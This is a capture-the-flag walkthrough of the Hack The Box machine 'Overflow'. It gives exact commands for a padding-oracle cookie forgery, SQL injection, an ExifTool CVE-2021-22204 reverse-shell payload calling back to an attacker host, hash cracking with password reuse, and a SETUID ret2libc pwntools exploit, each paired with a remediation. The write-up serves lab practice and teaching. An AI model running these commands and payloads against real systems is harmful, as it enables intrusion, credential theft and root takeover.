← all walkthroughs

Overflow

Linux· Hard· Privilege Escalation
owned
2026-07-15
time to own
1h54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I reached the overflow.htb web application and discovered its session cookie was encrypted with AES-CBC — an encryption mode whose server-side padding error messages could be exploited to both decrypt the existing cookie and forge a replacement granting administrator access without credentials. Once inside the admin panel, a SQL injection vulnerability on the logs endpoint allowed me to dump the CMS user table, retrieving MD5-hashed passwords. Separately, the site's image-upload feature passed files directly to an unpatched ExifTool (CVE-2021-22204), which evaluated embedded DjVu metadata as Perl code; a crafted upload produced a reverse shell as the web user www-data. Cracking the weak MD5 hashes and exploiting password reuse across local UNIX accounts enabled lateral movement through two additional user accounts, yielding user.txt. Finally, a custom SETUID-root binary accessible to the compromised user contained a stack buffer overflow with no canary or PIE protection; a ret2libc exploit chain overwrote the return address, spawned a root shell, and delivered complete system compromise.

Attack path — how the box was taken

1EnumerationNetwork port scanning and web application fingerprinting
Mapped the web application and identified the encrypted session cookie
An nmap scan revealed SSH on port 22, Postfix SMTP on port 25, and Apache 2.4.29 on port 80 serving the overflow.htb virtual host. Browsing the site found a login form at /login.php that issued a base64-encoded 'auth' cookie on authentication, and an admin-only log viewer at /home/logs.php. Examining the cookie's structure — fixed block-sized ciphertext — indicated block-cipher encryption, setting up the padding-oracle attack in the next step.
nmap reported Apache httpd 2.4.29 on port 80; the login endpoint set a base64-encoded 'auth' cookie whose length was a multiple of 8 bytes, characteristic of CBC-mode block encryption.
Exact commands 3
Service scan; adjust IP to your assigned HTB address.
nmap -sV -sC -p 22,25,80 -oN overflow_nmap.txt $INTERNAL_TARGET
Register the virtual host for name resolution.
echo '$INTERNAL_TARGET overflow.htb' | sudo tee -a /etc/hosts
Observe the auth cookie value and format returned on login attempt.
curl -si -X POST http://$TARGET/login.php -d 'username=test&password=[REDACTED: credential] | grep -i 'set-cookie\|location'
2ExploitationCBC padding-oracle attack (CAPEC-463 / CWE-696)
Forged an administrator session cookie via CBC padding-oracle attack
The application returned a distinct 'Invalid padding' error message when a session cookie contained malformed ciphertext blocks. This oracle allowed padbuster to probe the decryption of each byte systematically. First, the existing cookie was decrypted, revealing a plaintext like 'user=<name>'. Then padbuster re-encrypted a forged plaintext of 'user=admin' to produce a valid ciphertext the server would accept. Setting this forged admin cookie in subsequent requests granted full administrator access with no knowledge of the admin password.
padbuster printed the decrypted cookie plaintext and then the forged admin ciphertext; sending the forged cookie returned an HTTP 200 for the admin panel instead of the login redirect.
Exact commands 3
Decrypt the existing auth cookie; replace <auth_cookie_value> with the base64 string from your browser.
padbuster http://$TARGET/login.php <auth_cookie_value> 8 -cookie 'auth=<auth_cookie_value>' -encoding 0
Re-encrypt 'user=admin' to produce the forged admin cookie; copy the output ciphertext.
padbuster http://$TARGET/login.php <auth_cookie_value> 8 -cookie 'auth=<auth_cookie_value>' -encoding 0 -plaintext 'user=admin'
Verify admin access; expect HTTP 200 and admin panel content rather than a redirect.
curl -si http://$TARGET/home/ -b "$SESSION_COOKIE"
FixReplace CBC-mode cookie encryption with authenticated encryption or server-side sessionsCritical
WeaknessSession cookies were encrypted with AES-CBC and the server returned a distinct 'Invalid padding' error for malformed ciphertext. This oracle allowed an unauthenticated operator to decrypt any existing cookie byte-by-byte and then re-encrypt arbitrary plaintext — forging an admin session without knowing any password.
FixReplace CBC-mode encryption with an authenticated encryption scheme (AES-GCM), which incorporates an integrity tag that fails before decryption if any byte is tampered — eliminating the oracle entirely. The most robust fix is to store all session state server-side and issue the client an opaque random session identifier only; there is then no ciphertext for me to probe. If signed tokens are used instead, choose HMAC-SHA256 over the payload and verify the signature before acting on any value.
3ExploitationUNION-based SQL injection — data exfiltration (CWE-89 / T1190)
Dumped CMS user password hashes via SQL injection on the admin logs endpoint
The admin-only /home/logs.php page accepted a 'name' GET parameter that was concatenated directly into a SQL query. With the forged admin cookie providing access, sqlmap confirmed a UNION-based injection and enumerated the database. Dumping the cms_users table returned usernames paired with their MD5-hashed passwords — credentials that would later be used for lateral movement.
sqlmap confirmed the 'name' parameter as injectable; the cms_users dump returned at least two rows containing 32-character MD5 digests alongside their usernames.
Exact commands 2
Enumerate available databases using the admin session cookie.
sqlmap -u 'http://$TARGET/home/logs.php?name=admin' --cookie 'auth=<forged_admin_cookie>' --dbs --batch
Dump the cms_users table; adjust database name (-D) to match the enumerated result.
sqlmap -u 'http://$TARGET/home/logs.php?name=admin' --cookie 'auth=<forged_admin_cookie>' -D cmsdb -T cms_users --dump --batch
FixParameterize all database queries to eliminate SQL injectionCritical
WeaknessThe /home/logs.php admin endpoint interpolated the 'name' GET parameter directly into a SQL string. Combined with the forged admin session from r1, this let me dump the entire user table without any database credentials.
FixRewrite every database query to use prepared statements with bound parameters (PDO with bindParam() in PHP, or an equivalent ORM). Never concatenate user-supplied values into SQL. Grant the web application's database account only the SELECT privileges it genuinely requires on specific tables, and revoke access to information_schema and system tables to limit the blast radius of any future injection.
4ExploitationExifTool CVE-2021-22204 — arbitrary code execution via DjVu metadata Perl eval
Achieved remote code execution as www-data by exploiting ExifTool CVE-2021-22204
The web application's image-upload feature passed every uploaded file to ExifTool for metadata extraction. ExifTool versions prior to 12.24 evaluate annotations embedded in DjVu files as Perl expressions (CVE-2021-22204). A crafted DjVu image with a reverse-shell payload in its ANTz annotation block was uploaded through the authenticated upload form. The server processed it with the vulnerable ExifTool, executing the payload and delivering a shell as the www-data web user to a waiting netcat listener.
The listener received a shell immediately after upload; running id in the shell returned uid=33(www-data).
Exact commands 4
Start the reverse-shell listener before uploading (run in a separate terminal); replace 4444 with your preferred port.
nc -lvnp 4444
Write the Perl eval payload; replace <retired-instance-ip> with your HTB tun0 IP.
printf '(system("bash -c '\''bash -i >& /dev/tcp/$CALLBACK_HOST/4444 0>&1'\'""))' > payload.txt
Embed the payload in a DjVu annotation block (djvulibre-bin package on Kali).
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.txt
Upload the malicious DjVu; ExifTool processes it and fires the shell.
curl -sb 'auth=<forged_admin_cookie>' -F 'file=@exploit.djvu' http://$TARGET/home/upload.php
FixUpgrade ExifTool and sandbox all server-side file metadata processingCritical
WeaknessThe server invoked ExifTool < 12.24 on every user-uploaded file. CVE-2021-22204 causes this version to execute Perl expressions embedded in DjVu annotation blocks, giving any authenticated uploader arbitrary remote code execution as the web server user.
FixUpgrade ExifTool to 12.24 or later immediately; the patch removes the Perl eval from DjVu annotation parsing. Additionally, run any file-processing subprocess in a sandboxed environment (seccomp, a container, or a dedicated low-privilege account) with no outbound network access and a read-only view of the upload. Validate uploaded files against a strict MIME-type whitelist and verify magic bytes server-side; strip all metadata before storing or serving any uploaded file.
5Lateral MovementOffline hash cracking (T1110.002) and credential reuse across accounts (T1078)
Cracked MD5 hashes and pivoted to local user accounts via password reuse
The MD5 hashes recovered from cms_users were run through hashcat against the rockyou wordlist and cracked in seconds due to the absence of salting. The recovered plaintext passwords were tried against local UNIX accounts via SSH and su. The same credentials — or trivially similar variants — were reused on local accounts, enabling pivoting from www-data to a first system user and then to a second user whose home directory held user.txt.
hashcat recovered plaintext passwords for the dumped hashes; SSH authentication succeeded for the first recovered account; su with the same or related password succeeded for the next account; user.txt was readable in the final user's home directory.
Exact commands 4
Crack MD5 hashes (-m 0); place the dumped hash values one-per-line in cms_hashes.txt.
hashcat -m 0 cms_hashes.txt /usr/share/wordlists/rockyou.txt --show
Log in with the cracked password for the first recovered CMS username.
ssh <first_user>@overflow.htb
Try the same or recovered password for the next local account to complete lateral movement.
su - <second_user>
Read the user flag. Value: [REDACTED: flag]
cat ~/user.txt
FixReplace MD5 password storage with a memory-hard hash and prohibit cross-service password reuseHigh
WeaknessUser passwords were stored as unsalted MD5 digests in the CMS database. MD5 is not a password-hashing function: it is fast, GPU-parallelizable, and reversible against public rainbow tables. The recovered plaintexts were identical to local UNIX account passwords, turning one database read into OS-level access.
FixReplace MD5 with bcrypt (cost factor ≥ 12) or Argon2id for all stored passwords; apply a unique random salt per credential even during a phased migration. Enforce a policy — technically and through user training — that prohibits the same password on the web application and on any system account. Rotate all credentials that were stored under MD5 once the new hashing scheme is deployed.
6Privilege EscalationStack buffer overflow — ret2libc privilege escalation (CWE-121 / T1548.001)
Exploited a SETUID-root binary's stack buffer overflow for a root shell
A custom SETUID-root binary was installed on the system and executable by the compromised user. checksec confirmed it had no stack canary and no position-independent executable (PIE) protection, making it a straightforward ret2libc target. A cyclic pattern input determined the exact offset to the saved return address. A pwntools exploit overwrote the return pointer with a ROP gadget chain — pop rdi; ret → address of '/bin/sh' in libc → address of system() — and invoked the binary under its SETUID context, spawning a root shell. root.txt was then read from /root.
checksec reported no canary and no PIE; pwntools exploit produced a prompt running as uid=0(root); root.txt was read from /root/root.txt.
Exact commands 5
Locate SETUID binaries reachable from the current user.
find / -perm -4000 -type f 2>/dev/null
Confirm absent canary and PIE; note the binary's architecture for ROP gadget selection.
checksec --file=/path/to/setuid_binary
Open in GDB+GEF; run 'pattern create 200', feed the pattern to the binary's input, then 'pattern offset $rsp' to find the exact return-address offset.
gdb -q /path/to/setuid_binary
Skeleton exploit; fill in the ROP gadget address (<gadget>), offset (<offset>), and libc base if ASLR is enabled. Save as exploit.py and run it.
python3 -c "from pwn import *; e=ELF('/path/to/setuid_binary'); libc=ELF('/lib/x86_64-linux-gnu/libc.so.6'); r=process('/path/to/setuid_binary'); pop_rdi=0x<gadget>; binsh=next(libc.search(b'/bin/sh')); payload=b'A'*<offset>+p64(pop_rdi)+p64(binsh)+p64(libc.sym['system']); r.sendline(payload); r.interactive()"
Read the root flag from the root shell. Value: [REDACTED: flag]
cat /root/root.txt
FixRemove the SETUID bit from custom binaries and compile with full exploit mitigationsCritical
WeaknessA custom SETUID-root binary was reachable by a low-privilege local user and contained a stack buffer overflow. The binary had no stack canary and no PIE, so the overflow was directly exploitable with a ret2libc chain — turning any local user account into root.
FixAudit all SETUID binaries with 'find / -perm -4000' and remove the SETUID bit (chmod u-s) from every binary that does not have a specific, documented operational reason to run as root. Redesign privileged operations to use sudo with a narrowly scoped sudoers rule instead. For any binary that must remain SETUID, recompile with stack canaries (-fstack-protector-all), PIE (-fPIE -pie), and full RELRO (-Wl,-z,relro,-z,now), and perform a code review to replace all unsafe string/buffer functions (gets, strcpy, sprintf) with length-bounded equivalents (fgets, strncpy, snprintf).

Exposed services

22/tcp
25/tcp
80/tcp